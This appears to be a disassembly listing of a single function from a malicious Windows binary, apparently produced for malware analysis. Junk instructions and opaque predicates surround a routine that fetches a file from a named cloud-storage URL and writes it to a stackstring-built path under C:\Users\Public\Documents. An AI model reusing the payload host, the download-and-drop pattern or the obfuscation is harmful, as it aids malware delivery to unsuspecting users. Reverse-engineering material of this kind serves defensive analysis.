Function at 0x1413ddb90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x118
xor eax, eax
test eax, eax
je 0x1413dddae
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add al, 0
add byte [rax], al
mov edx, dword [0x141828c96]
xor eax, eax
call 0x11c4160d4
call 0x146025fc5
xor esi, esi
mov eax, ebx
mov edx, dword [rax]
call qword [rdx]
mov dword [rbp - 0x14], eax
fstp qword [rbp]
hlt
xor eax, eax
test eax, eax
je 0x1413ddfc5
nop
nop
nop
nop
nop
nop
nop
nop
or ah, ah
cmp eax, dword [rdi]
add al, byte [rax]
or al, byte [rbx + 0x6f]
insb byte [rdi], dx
insb byte [rdi], dx
xor eax, eax
test eax, eax
je 0x1413de1dc
nop
sbb ch, ch
dec dword [rbp - 0x74af03bb]
add al, 0x8b
ror dword [rbx + 0x40030483], cl
sbb al, cl
mov cl, 0x6c
add bh, al
add al, 0x51
add al, 0x51
xor eax, eax
test eax, eax
je 0x1413de3f3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub cl, bl
add byte [r13 + 0x158be845], cl
xchg esp, eax
add r8b, bpl
mov dh, ah
invalid
xor eax, eax
test eax, eax
je 0x1413de60a
nop
nop
nop
invalid
lea rcx, [rsp + 0x80]
call fcn.1413e7a60
xor eax, eax
test eax, eax
je 0x1413de82e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
adc al, 0x85
add byte [rdi + rax*4 - 0x7863ffc0], spl
add byte [rax + 0x6f0040fd], spl
jb 0x1413de6b7
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
or byte [rax], al
add cl, byte [rax]
push 0x666c56fb
add al, byte [rax]
add dh, byte [rax + 0x11]
add byte [rcx], al
add byte [0x1b6aa47b6], al
mov ah, 7
add byte [rax], al
mov edx, eax
test edx, edx
je 0x1413de66d
sub edx, 0xffffff80
mov eax, dword [rbp + 8]
mov dl, 1
movabs eax, dword [0xe31334e80041baa4]
invalid
cmp dword [rbx + 0x28], 0
jne 0x1413de6ce
mov ecx, ebx
mov dl, 0x62
push 0x65
invalid
jns 0x1413de70c
div byte [rdi + 0x6d]
add byte [rdi], cl
mov bh, 0x84
and al, 0x2c
add al, byte [rax]
add byte [rsi - 0x5d], ah
clc
ja 0x1413de6e1
jmp 0x1413de782
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x7d006641], cl
clc
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rcx + 0x66], al
add byte [rbp - 8], bh
mov edi, dword [rdi + 4]
lea eax, [rbx + rsi]
sub edi, eax
test edi, edi
jle 0x1413de7bb
mov edx, dword [rbp - 0x18]
mov edi, 0xebfffffd
jbe 0x1413de781
clc
jmp 0x1413de81d
add al, byte [rax]
adc ah, byte [rax + 0x408b04b4]
add al, 0x59
pop rdx
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1413dcc20
xor eax, eax
test eax, eax
je 0x1413dea4a
xor eax, eax
test eax, eax
je 0x1413dec61
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add byte [rbp + rcx - 0x75], dh
invalid
xor eax, eax
test eax, eax
je 0x1413dee78
nop
nop
nop
nop
nop
ret
mov dword [rsp + 0x60], 0
lea rdx, [rsp + 0x60]
lea rcx, str.https:__wwwsdddqeqzsfyy147_1325785730.cos.ap_chongqing.myqcloud.com_yy.txt
call fcn.1413d5170
mov qword [rsp + 0x70], rax
mov byte [rsp + 0x40], 0x43
mov byte [rsp + 0x41], 0x3a
mov byte [rsp + 0x42], 0x5c
mov byte [rsp + 0x43], 0x55
mov byte [rsp + 0x44], 0x73
mov byte [rsp + 0x45], 0x65
mov byte [rsp + 0x46], 0x72
mov byte [rsp + 0x47], 0x73
mov byte [rsp + 0x48], 0x5c
mov byte [rsp + 0x49], 0x50
mov byte [rsp + 0x4a], 0x75
mov byte [rsp + 0x4b], 0x62
mov byte [rsp + 0x4c], 0x6c
mov byte [rsp + 0x4d], 0x69
mov byte [rsp + 0x4e], 0x63
mov byte [rsp + 0x4f], 0x5c
mov byte [rsp + 0x50], 0x44
mov byte [rsp + 0x51], 0x6f
mov byte [rsp + 0x52], 0x63
mov byte [rsp + 0x53], 0x75
mov byte [rsp + 0x54], 0x6d
mov byte [rsp + 0x55], 0x65
mov byte [rsp + 0x56], 0x6e
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x73
mov byte [rsp + 0x59], 0x5c
mov byte [rsp + 0x5a], 0x31
mov byte [rsp + 0x5b], 0x2e
mov byte [rsp + 0x5c], 0x74
mov byte [rsp + 0x5d], 0x78
mov byte [rsp + 0x5e], 0x74
mov byte [rsp + 0x5f], 0
xor eax, eax
test eax, eax
je 0x1413df14d
mov eax, dword [rbp - 0x14]
mov ebx, dword [rax]
call qword [rbx + 0x2c]
jmp 0x1413def4f
pop rbx
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb edx, dword [rbx]
add eax, 0x756c6156
add al, byte gs:[rax]
add al, byte [rax]
invalid
xor eax, eax
test eax, eax
je 0x1413df364
nop
nop
nop
nop
nop
nop
nop
nop
nop
push rdx
insb byte [rdi], dx
imul esp, dword [rbp + 0x6e], 0x74
add byte [rdx], al
add byte [rax], al
add byte [rax + rbp*8], ah
and eax, 0xfcb2fff9
and dl, bl
mov eax, esi
call 0x14a3cf15c
insb byte [rdi], dx
mov dword [rax], ecx
add byte [rax], al
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
adc bl, byte [rax + rax]
add byte [rbx + 0x438dfc55], cl
sbb al, 0xe8
in al, dx
invalid
xor eax, eax
test eax, eax
je 0x1413df57b
nop
nop
retf 0xfff4
xor eax, eax
test eax, eax
je 0x1413df792
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sbb byte [rbp - 3], al
dec dword [rcx + 0x5589f045]
hlt
xor eax, eax
test eax, eax
je 0x1413df9a9
nop
nop
nop
nop
adc eax, dword [rbx]
ror byte [rbx + 0x4eb6e8c6], cl
invalid
xor eax, eax
test eax, eax
je 0x1413dfbc0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub eax, 0xb0000000
add al, 2
add bh, bh
invalid
cmp qword [rsp + 0x70], 0
je 0x1413e06b0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x40]
call qword [rsp + 0xf0]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
je 0x1413e06b0
xor eax, eax
test eax, eax
je 0x1413dfe24
nop
nop
nop
nop
nop
nop
nop
nop
nop
push rbx
push rsi
push rdi
add esp, 0xfffffff8
mov ebx, edx
mov edi, eax
cmp bl, 3
je 0x16582881a
sbb al, 0x33
ror byte [rbx + 0x18e9c1c8], cl
mov eax, dword [rsp + 0x1c]
xor eax, dword [rax]
add al, 0x53
insb byte [rdi], dx
add al, byte [rax]
add byte [rax + rdx + 0x10040], bl
add eax, 0x43547508
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
invalid
xor eax, eax
test eax, eax
je 0x1413e003b
nop
nop
in al, 0xe8
xor al, byte [rdx - 2]
dec dword [rbp + 0x558bf445]
invalid
xor eax, eax
test eax, eax
je 0x1413e0252
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [rax*4 + 0x6cdf58]
or eax, 0x4011
push rax
push 0x6d6502b4
jae 0x1413e0067
add byte [rax], al
add byte [rdi + riz*2 + 0x55], cl
add byte [rbx], al
invalid
xor eax, eax
test eax, eax
je 0x1413e0469
nop
nop
nop
nop
push 0x472160
mov eax, dword [rbp - 4]
push qword [rax + 0x4c]
push qword [rax + 0x48]
jo 0x1413e02b6
mov ecx, dword [rbp + 0x28]
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rax], ch
insb byte [rdi], dx
insb byte [rdi], dx
add byte [rcx + rbp*2 + 0x6f], dh
outsb dx, byte [rsi]
and byte [rbp + 0x78], al
je 0x1413e02fb
invalid
add al, dh
or al, 0x63
add byte [rbx - 0x3ba7428], cl
movzx eax, word [rax]
and eax, 0xffffbfff
cmp eax, 0xc
add byte [0x1b0b0755c], r8b
jb 0x1413e031c
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rsi + 0x73], ch
jb 0x1413e0399
add byte [rax], al
or byte [rax], al
outsb dx, byte [rsi]
jae fcn.1413e0388
jb 0x1413e0399
push rdx
invalid
xor eax, eax
test eax, eax
je 0x1413e0680
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc dword [rbx + 8]
mov cl, 1
mov edx, dword [rbp + 0xc]
mov eax, ebx
mov esi, dword [rax]
call qword [rsi + 8]
mov cl, 0xff
push rcx
sub al, 0x57
push rsi
mov eax, dword [rbx + 0x38]
push rax
call fcn.141304a68
pop rdi
pop rsi
ja 0x1413e04a7
call 0x141433f04
mov eax, dword [rbx + 4]
mov eax, dword [rax + rsi*4]
pop rsi
pop rbx
ret
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x78]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
and al, 0x68
call qword [rsp + 0xf8]
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0x100]
xor eax, eax
test eax, eax
je 0x1413e08c7
nop
nop
nop
nop
nop
nop
add byte [rbx + 0x4e], al
jne 0x1413e069a
mov ecx, dword [rbp - 8]
mov edx, dword [rbp - 4]
movabs eax, dword [0x45147b020049ddc4]
add byte [rdx], al
add byte [rdx], al
add byte [rax], al
add al, al
adc dword [rbp], eax
add byte [rax], al
add byte [rax], al
je 0x1413e06f3
mov eax, dword [rbx + 0xa4]
neg eax
mov dword [rbx + 0x494106a4], eax
outsb dx, byte [rsi]
js 0x1413e06fa
add byte [rax], al
pushfq
adc byte [rax], al
add al, byte [rax]
invalid
lea rcx, [rsp + 0x40]
call fcn.1413d9770
xor eax, eax
test eax, eax
je 0x1413e0ae8
nop
nop
nop
nop
nop
invalid
xor eax, eax
test eax, eax
je 0x1413e0cff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
je 0x1413e0b6b
outsd dx, dword [rsi]
outsb dx, byte [rsi]
invalid
or byte [rbp - 0x74fbba], cl
invalid
xor eax, eax
test eax, eax
je 0x1413e0f16
nop
nop
nop
xor eax, eax
test eax, eax
je 0x1413e112d
push rbp
hlt
add rsp, 0x118
ret